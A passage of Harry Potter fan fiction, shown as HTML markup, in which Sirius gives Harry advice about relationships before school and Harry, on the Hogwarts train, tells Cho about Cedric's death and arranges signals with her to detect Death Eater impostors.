length of time,&#8221; she answered.</p>\n\n<p>&#8220;Arabella, do you think we should have Harry&#8217;s Animagus lesson outside tomorrow?&nbsp; Maybe let him slither around the garden.&nbsp; We could time it for the daily Nadine waltz by?&#8221; Sirius asked with a conspiratorial tone in his voice.</p>\n\n<p>&#8220;Hmm, let me think about that,&#8221; she mused as she walked back inside.</p>\n\n<p>Sirius and Harry downed the lemonade and started to rest on the porch.</p>\n\n<p>&#8220;Arabella wanted to make sure that Nadine saw her.&nbsp; That woman is one of the biggest gossips in the neighbourhood and so it&#8217;ll be broadcast tonight that Mrs. Figg is still around.&#8221; Sirius said.&nbsp; &#8220;Arabella knows she doesn&#8217;t have to worry about me.&nbsp; It&#8217;s Nadine she&#8217;s worried about, because we&#8217;re not quite sure what she&#8217;ll resort to.&nbsp; There are lots of tricks that women will play to get close to guys.&nbsp; She walked on this side of the street even though she lives on the other side.&nbsp; And now ---ugh --- I can&#8217;t believe she&#8217;s staging this&#8230;&#8221;</p>\n\n<p>Harry looked at the house a few doors down across the street.&nbsp; Nadine had just changed into a two-piece bathing suit and was smoothing out her towel on the lawn.&nbsp; Her daughter was running through a sprinkler a few feet away.&nbsp; Then Nadine was settling down on the towel and untying the straps to her bikini top while she lay on her stomach.</p>\n\n<p>&#8220;Turn away Harry and don&#8217;t look back,&#8221; Sirius said as he immediately began cutting lavender again with his back to the street.&nbsp; &#8220;If she really wanted to sun herself she&#8217;d be using her backyard, which allows much more privacy and at this time of the day, plenty more sun.&nbsp; Nope, this is all a show for <i>our</i> benefit.&nbsp; Her daughter will soon get her wet and she&#8217;ll&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;EM-I-LEEE!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius deliberately cut more lavender and it landed in the bucket with a thud.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And yes, that would be the sound of her jumping up when the water hit her backside.&nbsp; This of course allowed her to flash the neighbourhood and give everyone around a generous eyeful,&#8221; he said as he shook his head.&nbsp; &#8220;She&#8217;s the type of woman that hopes that if she keeps trying maybe someday she&#8217;ll find someone who will stick around.&nbsp; I&#8217;m sure that there&#8217;s been a parade of men in her life.&nbsp; It&#8217;s a very lonely and sad existence.&nbsp; I recognize it, because that is what mine was like many years ago.&nbsp; That lifestyle robbed me of my own self-worth.&nbsp; I had momentary pleasures but no long-term prospects.&nbsp; It was shallow and very dangerous.&nbsp; You never know where your temporary partner is coming from and what they are expecting from you.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; More screeches came from across the street.&nbsp; Harry bent his head down and forced himself to not give in to temptation and glance behind him.</p>\n\n<p>&#8220;Umm, Sirius?&nbsp; How can Professor Figg know that she can trust you when you were so&#8230;&#8221;</p>\n\n<p>&#8220;Promiscuous in my youth?&#8221;</p>\n\n<p>&#8220;Uh, yeah.&#8221;</p>\n\n<p>&#8220;That was a lifetime ago, Harry.&nbsp;&nbsp; That was when I was afraid of falling in love.&nbsp; I was afraid of how it would change me.&nbsp; And now, there is nothing I would do that might jeopardize my relationship with Arabella.&nbsp; She knows that.&nbsp; I certainly wouldn&#8217;t risk everything so I could spend some time with the likes of Nadine.&#8221;</p>\n\n<p>&#8220;Sirius, you said that she did that for <i>our</i> benefit.&nbsp; Do you think she is interested in me?&#8221; asked Harry.</p>\n\n<p>&#8220;Well, I am her main target.&nbsp; I wouldn&#8217;t doubt that she&#8217;d view you as a tasty afternoon snack.&nbsp; You know, just something to take the edge off.&nbsp; Believe me,&#8221; Sirius continued,&nbsp; &#8220;there will be women that will come into your life that will be willing to service you in many ways.&nbsp; You must learn how to control your responses.&nbsp;&nbsp; Harry, it&#8217;s of special importance when it comes to you -- because if <i>you</i> trust yourself to the wrong person, it could be deadly.&#8221;</p>\n\n<p>Sirius stood up and brushed off the small bits of lavender clinging to his pants.</p>\n\n<p>&#8220;Come on Harry, let&#8217;s go inside and get cleaned up for dinner.&#8221;</p>\n\n<p>Harry followed his example and as they carried the heavy buckets brimming with lavender he was thinking about all that Sirius had told him.&nbsp; Maybe he was being stupid for dreaming about Cho, a girl he knew so little about.&nbsp; Then again, maybe if he got to know her like his father did with his mother&#8230;maybe she was The One for him.&nbsp; Or maybe he should find someone who was a good friend, who liked him for who he was and then follow his heart.&nbsp; And then there was the thought of girls or women trying to kill him by trying to sleep with him.&nbsp; His head was spinning.</p>\n\n<p>*</p>\n\n<p>The rest of the summer seemed to go by in a daze.&nbsp; Harry felt he was more prepared for the coming year than he had ever been.&nbsp; He had read all the material given them regarding what to expect from the O.W.L.s.&nbsp; He had finished all the essays that were assigned to him from his professors and had read several chapters in all his textbooks.&nbsp; He also made good progress with his Animagus training, but he was disappointed that he couldn&#8217;t manage much more than a forked tongue and some scales covering parts of his body.&nbsp; His garden forays after being transfigured did help eliminate Nadine&#8217;s daily strolls looking for Sirius.&nbsp; Instead she now kept to her side of the street fearing for her own safety (and hopefully her daughter&#8217;s also.)</p>\n\n<p>After Sirius told Professor Figg that Harry knew about their being a couple, they no longer tried to hide their affection towards one another.&nbsp; Harry had never seen two adults in a loving relationship before.&nbsp; His aunt and uncle never seemed to express affection towards each other beyond a compulsory peck on the cheek goodbye.&nbsp; Now he saw what he had hoped was what his parents&#8217; relationship was like.</p>\n\n<p>The day before he left for Hogwarts, Harry spent the day clothes shopping with Sirius.&nbsp; He bought some new underwear, socks and other assorted clothes.&nbsp; He took the opportunity to do a little gift shopping also.&nbsp; He picked up another pair of socks for Dobby the house-elf and a nice pair of ragg wool socks for Dumbledore for Christmas.&nbsp; He thought maybe Dumbledore might appreciate that after the comment he made about his image in the Mirror of Erised.</p>\n\n<p>Harry also wanted to find a nice birthday present for Hermione since it was doubtful that there would be a Hogsmeade weekend before her birthday.&nbsp; His gifts for her in the past year always seemed a bit lame.&nbsp; He had been pleased with the broomstick servicing kit and the watch that she had given him.&nbsp; He wanted to be sure to get her something that she&#8217;d really like this time.&nbsp; He didn&#8217;t know where to start and Sirius said one word, &#8220;jewelry.&#8221;&nbsp; </p>\n\n<p>When they were looking in the jewelry department Harry was a bit overwhelmed by everything and the outrageous prices.&nbsp; He wanted something small and simple.&nbsp; Sirius told him that rings were out, because those were too intimate of a gift.&nbsp; Rings could only come from those who were romantically involved.&nbsp; Harry settled on a nice gold locket.&nbsp; It seemed like something she&#8217;d fancy without being too personal in nature.&nbsp; </p>\n\n<p>Harry had been a little concerned at first about how to pay for these things since he didn&#8217;t have any Muggle money and all his gold was in Gringotts.&nbsp; Sirius told him that Dumbledore had made arrangements in regards to the expenses for Mrs. Figg for years using a credit card.&nbsp; Somehow or another the bills always got taken care of and they never appeared in her mail.&nbsp; As long as they weren&#8217;t extravagant, it should all be taken care of by Dumbledore&#8217;s usual arrangements.</p>\n\n<p>Professor Figg had also given both Harry and Sirius haircuts on the last day of August.&nbsp; She had offered to quietly and privately cut Harry&#8217;s hair at school so that he wouldn&#8217;t have to worry about his hair landing in the wrong hands.&nbsp; Sirius on the other hand would have to allow his to grow until she would have a chance to return to the Zone.</p>\n\n<p>As Harry was leaving that night carrying all his purchases back to Privet Drive, Sirius pulled him to the side.</p>\n\n<p>&#8220;I&#8217;ve got something else for you Harry,&#8221; Sirius said quietly as he slipped him a package of condoms.&nbsp; &#8220;This is just in case you fall in love and decide to...I want you to be prepared, understand?&#8221;</p>\n\n<p>Harry immediately turned red at the sight of the box, but nodded and slipped it into one of his shopping bags.</p>\n\n<p>&#8220;Now Harry, I don&#8217;t want you doing anything spontaneous.&nbsp; That&#8217;s &#8216;cause I worry about you.&nbsp; If you find yourself getting serious with someone, I want you to talk to me first.&nbsp; Got it?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; he said in a soft voice.</p>\n\n<p>&#8220;Now, since Arabella doesn&#8217;t believe in owl post here &#8211; we won&#8217;t be able to send letters to each other this year.&nbsp; If you need to talk to me, let her know and she can call me through her fire for you.&nbsp; Don&#8217;t try doing it from the Gryffindor common room, it&#8217;s too risky.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey Sirius, I&#8217;ve been meaning to ask you.&nbsp; What ever happened to Buckbeak?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I left him in the Forbidden Forest.&nbsp; That&#8217;s where all the misfit creatures wind up.&nbsp; Don&#8217;t go looking for him or anything else in there.&#8221;</p>\n\n<p>Harry started thinking of the Acromantulas he met in his second year.&nbsp; </p>\n\n<p>&#8220;No, I won&#8217;t be going in there unless I have to.&nbsp; I&#8217;ve met some of the creatures in there and it&#8217;s pretty spooky.&#8221;</p>\n\n<p>Sirius then ruffled Harry&#8217;s hair and wound up giving him a bear hug.&nbsp; &#8220;I&#8217;m going to miss you kid.&nbsp; Your parents would have been very proud of you.&#8221;</p>\n\n<p>&#8220;I&#8217;m going to miss you too, Sirius,&#8221; he said with his voice cracking.</p>\n\n<p>&#8220;Okay, it&#8217;s off with you now! And behave yourself,&#8221; Sirius said with a wink.</p>\n\n<p>Professor Figg stepped towards them and gave Harry a large smile.</p>\n\n<p>&#8220;I&#8217;ll see you tomorrow on the train.&nbsp; The hard part starts tomorrow when I have to pretend that I&#8217;ve never met you.&nbsp; I just wanted you to know that I&#8217;ve really enjoyed working with you this summer.&nbsp; It&#8217;ll be hard to not play favourites with you at school, but know that if I appear harsh with you &#8211; it may just be for other people&#8217;s benefit.&nbsp; That is unless you <i>give</i> me something to be mad at you about&#8230;,&#8221; she said with a sly smile.</p>\n\n<p>&#8220;I&#8217;ll try not to disappoint you.&nbsp; And thanks again for everything Professor Figg.&nbsp; This has been the best summer of my life,&#8221; he said as she gave him a hug goodbye.</p>\n\n<p>Harry left the house and looked forward to waking up the next morning to go back to Hogwarts.&nbsp; No more Dursleys for ten months!&nbsp; Then he thought about Sirius and Professor Figg.&nbsp; They had just become a couple two months ago and now they were going to be apart for almost a year.&nbsp; He knew that the separation would be hard on them.&nbsp; Then he thought about this being their last night together and he started getting images in his mind that were hard to get rid of.&nbsp; It was going to be difficult having her as an instructor if he thought of her in <i>that way.</i></p>\n\n<p>The next day his Uncle Vernon grumbled and complained all the way to London.&nbsp; Harry thought that his uncle ought to be grateful that it was only the second time that he had to ferry his nephew to the train station.&nbsp; The other years Harry had wound up having the Weasleys see him off to school.&nbsp; Nothing was going to dampen his spirits today.&nbsp; He was going back to school and wanted this year to be special.</p>\n\n<p>Harry smiled as he pushed his trunk with Hedwig&#8217;s cage resting on top through King&#8217;s Cross station.&nbsp; He saw Ron and Hermione waving to him as soon as he passed through the barrier at Platform 9 &#190;.&nbsp; </p>\n\n<p>&#8220;Harry!&nbsp; There you are.&nbsp; Let&#8217;s grab a compartment before they&#8217;re all full,&#8221; Ron said anxiously.</p>\n\n<p>&#8220;Hey Harry, it&#8217;s great to see you!&#8221; Hermione said as she gave him a quick hug.&nbsp; &#8220;I just want to stow my trunk in your compartment.&nbsp; I have to go to that prefects&#8217; meeting for the beginning of the trip, but I&#8217;ll come back later.&#8221;</p>\n\n<p>They started making their way onto the train when another voice came through the air.</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>He turned to see that it was Cho that had called.</p>\n\n<p>&#8220;Oh, hi,&#8221; he stammered as he felt his heart leap into his throat.</p>\n\n<p>&#8220;Harry, could I talk with you?&nbsp; Alone?&#8221; she asked.</p>\n\n<p>&#8220;Ah, sure.&nbsp; Just let us get our stuff put away.&#8221;</p>\n\n<p>Ron gave Harry a wink and a quick nudge in the ribs.&nbsp; Harry glowered at him in return.&nbsp; After their trunks were put away Ron left saying he was going to visit with Fred and George for a while.&nbsp; Cho walked awkwardly into the compartment.&nbsp; Harry pointed to a seat and gave her a small smile.</p>\n\n<p>&#8220;Harry, can you tell me what happened to Cedric?&#8221; she asked.&nbsp; &#8220;I&#8217;ve been waiting all summer to ask you.&nbsp; I tried writing you, but my owl returned my letter.&#8221;</p>\n\n<p>&#8220;Sorry about that.&nbsp; I was getting hate mail, so I stopped taking letters for awhile.&#8221;</p>\n\n<p>Then Harry turned and went to close the compartment door.&nbsp; He pulled his wand out and muttered a few words under his breath.</p>\n\n<p>&#8220;I just put a charm on the door so our voices wouldn&#8217;t carry.&nbsp; This may sound weird, but before I tell you anything, I need to make sure that you truly are Cho Chang and not someone who is impersonating you.&nbsp; Tell me something that only Cho would know.&#8221;</p>\n\n<p>She looked at him with a furrowed brow.</p>\n\n<p>&#8220;Umm, how about&#8230;I saw you at the Quidditch World Cup last summer and you wound up spilling a bunch of water down your front?&#8221;</p>\n\n<p>He smiled sheepishly as he remembered that embarrassing incident.</p>\n\n<p>&#8220;That&#8217;ll work.&nbsp; Cho, I&#8217;m going to tell you a few things that aren&#8217;t widely known.&nbsp; Please try to keep them to yourself as I&#8217;m not sure how much Headmaster Dumbledore wants known.&nbsp; Also there will be some things that I can&#8217;t tell you.&#8221;</p>\n\n<p>He sat down across from her and noticed that her eyes had grown wide with fear.</p>\n\n<p>&#8220;Okay, umm, where to begin?&nbsp; Well you know that Voldemort killed my parents and tried to kill me when I was a baby?&#8221;</p>\n\n<p>She nodded and flinched when Harry had said Voldemort&#8217;s name.</p>\n\n<p>&#8220;Voldemort wasn&#8217;t killed that night, because he had done so many evil things that he wasn&#8217;t quite human anymore.&nbsp; So he wound up just existing in some weird evil vaporish form all these years.&nbsp; Anyway, a year ago one of Voldemort&#8217;s old servants was flushed out of his hiding place for twelve years.&nbsp; He made his way to <st1:country-region><st1:place>Albania</st1:place></st1:country-region> where he found Voldemort&#8217;s essence.&nbsp; This servant was able to help nurse his master back to a small state of health again.&nbsp; He also met up with Bertha Jorkins the Ministry of Magic employee that went missing last year.&nbsp; Voldemort tortured her for information before he killed her.&nbsp; It was her information that led him to devise a plan to enter me into the Triwizard Tournament so that he could get to me and return to a full human body.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, why do you of all people use <i>his </i>name?&#8221;</p>\n\n<p>&#8220;Professor Dumbledore says his name and requested that I do the same.&nbsp; He says that fear of a name increases fear of the thing itself.&nbsp; I have chosen to follow his advice and so I say Voldemort&#8217;s name.&nbsp; I know he wants me dead, but I also know that living in fear is not really living,&#8221; he said simply.</p>\n\n<p>Cho started to look at Harry with a look of awe in her eyes.</p>\n\n<p>&#8220;So what was the plan that V-V-Vol&#8230;&#8221; she gulped. </p>\n\n<p>Harry took a deep breath and then told her of Crouch, Jr. having been sentenced to life in Azkaban for being a Death Eater.&nbsp; (He did not tell her about the Longbottoms.)&nbsp; And how Crouch, Sr. had devised a scheme to break his son out of Azkaban using his dying wife and Polyjuice Potion and had kept his son under the Imperius curse at home for years.&nbsp; Then how the tables were turned as Crouch, Sr. was put under the Imperius<i>\n\n</i>curse by Voldemort.&nbsp; This led to Crouch, Jr. and another Death Eater overpowering Moody and holding him hostage while Crouch, Jr. impersonated Moody all year long.&nbsp; Cho gasped when she heard that last year&#8217;s Defence Against the Dark Arts instructor had been a Death Eater in disguise.&nbsp; Harry then told her that it was Crouch, Jr. that had entered his name into the Goblet of Fire.&nbsp; The plan was for Crouch, Jr. to assure Harry&#8217;s victory by any means possible.&nbsp; That during the third task, Crouch, Jr. had stunned Fleur and put Krum under the Imperius curse which forced him to put Cedric under the Cruciatus curse.</p>\n\n<p>&#8220;No!&#8221; she said horrified.</p>\n\n<p>&#8220;I heard that curse in the maze and I couldn&#8217;t believe it.&nbsp; I stopped and burst my way through the hedges to get to them.&nbsp; I stunned Krum to stop Cedric&#8217;s torture.&nbsp; So <i>The</i>\n\n<i>Daily Prophet</i> was right in that I did stun one of my competitors, but it wasn&#8217;t so I could get ahead.&nbsp; It was to stop someone else from being tortured.&#8221;</p>\n\n<p>Harry then told her about his warning Cedric just as an Acromantula was about to attack him.&nbsp; And how Harry wound up being attacked by the giant spider and that it took both he and Cedric working together to stun the monster.&nbsp; Then their disagreement as to who should take the cup and how in the end they decided to call it a tie and they grabbed the cup at the same time. </p>\n\n<p>Cho smiled at that thought, but her smile disappeared as soon as Harry told her that the cup had been made into a Portkey and that it took them to a remote cemetery.</p>\n\n<p>&#8220;If I hadn&#8217;t insisted on Cedric sharing the cup with me, he&#8217;d be alive today&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What happened?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;As soon as we landed in the cemetery, I heard Voldemort&#8217;s voice.&nbsp; He said&#8230;,&#8221; Harry paused as he took a large swallow.&nbsp; &#8220;<i>Kill the spare.</i>&nbsp; As if Cedric didn&#8217;t even matter.&#8221;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A single tear fell down Cho&#8217;s face.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Then I was tied up to a tombstone and the servant did a ceremony that was gruesome and helped to create a new body for Voldemort.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why did they need you there?&#8221; she asked with a tremor in her voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Voldemort wanted my blood.&#8221;&nbsp; Harry raised the sleeve of his shirt and Cho gasped as he showed the scar on his right forearm.&nbsp; &#8220;He wanted blood from his greatest foe.&nbsp; And since I am the only one who has ever survived when he&#8217;s tried to kill them, that&#8217;s how he thinks of me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cho shook her head slowly as if she couldn&#8217;t understand what was being said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What happened then?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He summoned the Death Eaters, they Apparated in a large circle.&nbsp; He gave them all a speech, greeting them and gloating over them.&nbsp; Then he had me untied because he wanted to duel with me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>You duelled with him?</i>&#8221; she asked with her mouth agape.</p>\n\n<p>&#8220;Yeah.&nbsp; I don&#8217;t know how I survived it, but something really weird happened and some ghosts of the people Voldemort killed appeared.&nbsp; I saw Cedric&#8217;s and he asked me to bring his body back to his parents.&nbsp; I also saw the ghosts of my parents,&#8221; he said with his voice thick with emotion.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, I&#8217;m so sorry,&#8221; she said shaking her head.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, well, somehow they protected me and I ran back to where Cedric&#8217;s body was lying and I summoned the cup just before Voldemort tried to curse me again.&nbsp; I returned to Hogwarts.&nbsp; It was later that night that I found out all about Crouch, Jr. and how they plotted it all.&nbsp; Crouch had taken me from the maze against Dumbledore&#8217;s orders and he almost killed me when Dumbledore stunned him.&nbsp; Later Crouch was interrogated under the influence of Veritaserum, that&#8217;s how we know what happened,&#8221; he said with a deadened voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How come Minister Fudge said that there was no evidence to support your story?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because Fudge summoned a Dementor to accompany him to meet with Crouch.&nbsp; As soon as he entered the room it descended upon him and gave him the Dementor&#8217;s Kiss.&nbsp; That destroyed the evidence,&#8221; Harry said bitterly.</p>\n\n<p>Cho put her hand over her mouth and looked like she was going to be ill.&nbsp; After a few minutes of silence she looked at straight at Harry.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why does <i>he</i> want to kill you?&#8221; she asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He shook his head.&nbsp; &#8220;I don&#8217;t know why he wanted to kill me when I was a baby, but now I think Voldemort feels that he has to kill me now in order to prove to everyone that no one is safe from him.&nbsp; But for some reason I continue to stump him.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, you are so brave.&nbsp; I don&#8217;t know how you do it.&nbsp; I knew this summer that there had to be more to the story than what I was reading in the paper.&nbsp; It didn&#8217;t make any sense.&nbsp; I mean I don&#8217;t really know you, but you just don&#8217;t seem like the evil type.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He gave her a wan smile, &#8220;Thanks.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know that sounds bad, but&#8230;&#8221; then she hid her face in her hands.&nbsp; &#8220;I don&#8217;t know what to think anymore.&nbsp; Things are so crazy and I just feel so torn up inside.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you love Cedric?&#8221; he asked quietly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked up at him.&nbsp; &#8220;I think so.&nbsp; Or at least I think I was falling in love with him.&nbsp; And now, I&#8217;m so afraid to even <i>think</i> about guys.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Cho, there&#8217;s something else I have to talk with you about.&nbsp; I really don&#8217;t want to, but it&#8217;s for your own safety.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Umm, you might become a target for attack.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why?&#8221; she asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because,&#8221; Harry blushed, &#8220;You remember when I asked you to the Yule Ball?&nbsp; Well, I don&#8217;t know how many people found out about that, but there were a couple people in the <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place> that heard about it and&#8230;you know, because I think you&#8217;re cute &#8211; you might become a target by Death Eaters just in order to get to me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; she said looking at him with terror in her eyes.&nbsp; </p>\n\n<p>&#8220;So umm, in regards to your security&#8230;you need to do a few things.&nbsp; Like save all your hair.&nbsp; You need to use a wand every morning on your bedsheets, your comb and brush and the bathroom drain to collect and then destroy your hair.&nbsp; That way it can never be used against you.&nbsp; We also have to come up with a signal for when we see or talk to each other.&nbsp; That&#8217;s so we know that we&#8217;re talking to each other and not a Death Eater in disguise.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, I know you said you think I&#8217;m cute, but&#8230;I have to tell you that I&#8217;m&#8230;that I&#8217;m not ready to date <i>anyone</i> right now.&nbsp; And although you seem really nice and all, I don&#8217;t know that I could ever be interested in you.&nbsp; It&#8217;s just that&#8230;I&#8217;m not brave like you.&nbsp; I felt bad enough worrying about Cedric last year during the tournament, but I never ever thought he&#8217;d get killed.&nbsp; I can&#8217;t allow myself to think about getting involved and caring for someone who&#8230;&#8221; and she started sobbing.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who could get killed or get you killed,&#8221; Harry finished her thought.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She nodded her head.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry fished in his pocket and found a handkerchief and handed it to her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; she croaked.</p>\n\n<p>&#8220;I&#8217;m really sorry Cho.&nbsp; I never asked for this kind of attention and I&#8217;d do anything to be rid of it, but that&#8217;s not going to happen.&nbsp; For some reason, I&#8217;m Voldemort&#8217;s Achilles Heel and now he&#8217;s back and no one knows what&#8217;s going to happen.&nbsp; I don&#8217;t want to see anything happen to you or anyone else.&nbsp; I know that last year I couldn&#8217;t leave any of the hostages under water.&nbsp; That&#8217;s because I couldn&#8217;t live with myself if anyone had died if I could have done something to avoid it.&nbsp; I know I couldn&#8217;t have saved all four of you, but I couldn&#8217;t just leave with Ron until I knew everyone was going to be safe.&nbsp; That&#8217;s why I need to set up a signal with you.&nbsp; If a Death Eater tries to set up a trap and uses you as bait, I want to make sure it&#8217;s you and not someone disguised as you who&#8217;s just waiting there to kill me.&nbsp; So, maybe you could just toss your hair and say &#8216;Hey&#8217; when you see me.&nbsp; And I could blink and then say, &#8220;Umm, Hi.&#8217;&nbsp; It&#8217;s something simple that no one will notice, but if we don&#8217;t do that at the beginning &#8211; both of us will know that the other is an imposter.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she sighed.&nbsp; &#8220;I&#8217;ll try.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Since I know there&#8217;s no hope for anything to happen between us, I&#8217;ll do my best to stop thinking of you in that way.&nbsp; I&#8217;ll try to just leave you alone.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t mean that I wouldn&#8217;t <i>talk</i> with you Harry.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s okay, don&#8217;t worry about me and please don&#8217;t tell anyone about this discussion.&nbsp; I also have to come up with signals for Ron and Hermione.&nbsp; They&#8217;re probably bigger targets than you are, so maybe in some small sense that&#8217;ll make you feel a little safer.&nbsp; I feel awful that <i>anyone</i> has to worry about their safety because of me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not because of you, Harry,&#8221; she said firmly.&nbsp; &#8220;It&#8217;s because of an evil wizard who hates you.&nbsp; I never understood why my parents avoided talking about what happened to my grandparents, but this summer they told me that they had been murdered by Death Eaters five years before I was born.&nbsp; It&#8217;s not your fault, so stop blaming yourself.&nbsp; We all have to come to grips with this new reality.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Harry said brightening a 